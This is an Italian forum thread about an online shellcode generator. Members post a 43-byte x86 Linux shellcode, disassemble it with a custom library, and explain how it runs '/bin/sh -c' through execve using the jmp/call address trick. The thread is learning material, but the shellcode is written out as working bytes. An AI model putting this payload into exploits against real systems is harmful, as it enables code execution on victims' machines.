Online shellcode generator

Stato
Discussione chiusa ad ulteriori risposte.
nuooooooooooooo lo devo provare per forza XD però cmq preferisco farmelo da solo , boh , c'è più divertimento ^^
 
scusate re riuppo questo topic di un anno fa.
ma mi sto interessando agli shellcode.
black, il tuo generatore utilizza come "base" questo SC:
Codice:
\x60\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e
\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3
\x52\x68\x2d\x63\x63\x63\x89\xe1\x52\xeb
\x07\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4
\xff\xff\xff

come sei arrivato a scrivere questo ?
ho letto QUESTO, ma non riesco a risalire alle istruzioni assembly che hai usato.
 
Un'occasione buona per usare la mia libreria ASMash ^^

Codice:
#include <stdio.h>
#include <elfshark.h>

int main (int argc, char **argv)  {
        u8 code[] =
                "\x60\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e"
                "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
                "\x52\x68\x2d\x63\x63\x63\x89\xe1\x52\xeb"
                "\x07\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4"
                "\xff\xff\xff";

        printf ("%s\n", decode_to_asm(code, sizeof(code)-1, 0, INTEL_FLAVOR|DISP_BINARY));
}

Output:

Codice:
08048000:       60                      pusha
08048001:       31 c0                   xor     eax,eax
08048003:       31 d2                   xor     edx,edx
08048005:       b0 0b                   mov     al,0xb
08048007:       52                      push    edx
08048008:       68 6e 2f 73 68          push    0x68732f6e
0804800d:       68 2f 2f 62 69          push    0x69622f2f
08048012:       89 e3                   mov     ebx,esp
08048014:       52                      push    edx
08048015:       68 2d 63 63 63          push    0x6363632d
0804801a:       89 e1                   mov     ecx,esp
0804801c:       52                      push    edx
0804801d:       eb 07                   jmp     8048026h
0804801f:       51                      push    ecx
08048020:       53                      push    ebx
08048021:       89 e1                   mov     ecx,esp
08048023:       cd 80                   int     80h
08048025:       61                      popa
08048026:       e8 f4 ff ff ff          call    804801fh
 
BlackLight ha detto:
Codice:
08048000:       60                      pusha
08048001:       31 c0                   xor     eax,eax
08048003:       31 d2                   xor     edx,edx
08048005:       b0 0b                   mov     al,0xb
08048007:       52                      push    edx
08048008:       68 6e 2f 73 68          push    0x68732f6e
0804800d:       68 2f 2f 62 69          push    0x69622f2f
08048012:       89 e3                   mov     ebx,esp
08048014:       52                      push    edx
08048015:       68 2d 63 63 63          push    0x6363632d
0804801a:       89 e1                   mov     ecx,esp
0804801c:       52                      push    edx
0804801d:       eb 07                   jmp     8048026h
0804801f:       51                      push    ecx
08048020:       53                      push    ebx
08048021:       89 e1                   mov     ecx,esp
08048023:       cd 80                   int     80h
08048025:       61                      popa
08048026:       e8 f4 ff ff ff          call    804801fh

ehm....
l'unica cosa che capisco sono gli xor che azzerano i registri e i vari push ("/bin/sh -ccc")
per il resto :pattmg:
edit: a che serve la jmp e la call? dato che la call richiama l'istruzione subito dopo la jmp, non è inutile ?
 
Beh fondamentalmente il resto del listato non è molto diverso da quello che propongo nella mia guida. Pusho /bin/sh -ccc sullo stack, quindi per recuperare l'indirizzo della stringa da eseguire come comando uso la solita tecnica (jmp all'etichetta + call successiva per memorizzare il prossimo indirizzo sullo stack), quindi richiamo la execve.
 
L'avevo letto a suo tempo però non me lo ricordavo: mi può tornare utile dato che mi sto studiando proprio questa roba....
 
Stato
Discussione chiusa ad ulteriori risposte.